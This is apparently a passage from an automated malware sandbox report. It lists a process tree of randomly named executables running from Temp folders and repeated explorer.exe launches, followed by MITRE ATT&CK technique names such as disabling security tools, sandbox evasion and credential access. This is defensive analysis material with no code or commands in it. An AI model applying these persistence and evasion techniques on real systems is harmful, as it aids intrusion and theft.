C:\Windows\system32\WerFault.exe -pss -s 476 -p 1580 -ip 1580
1⤵
PID:4740

C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
1⤵
PID:1924

C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
1⤵
PID:4132

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1936

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2220

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4884

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3288

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:560

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5072

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:772

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:232

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4808

C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
1⤵
PID:2924

C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
1⤵
PID:2608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Bootkit

T1067

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery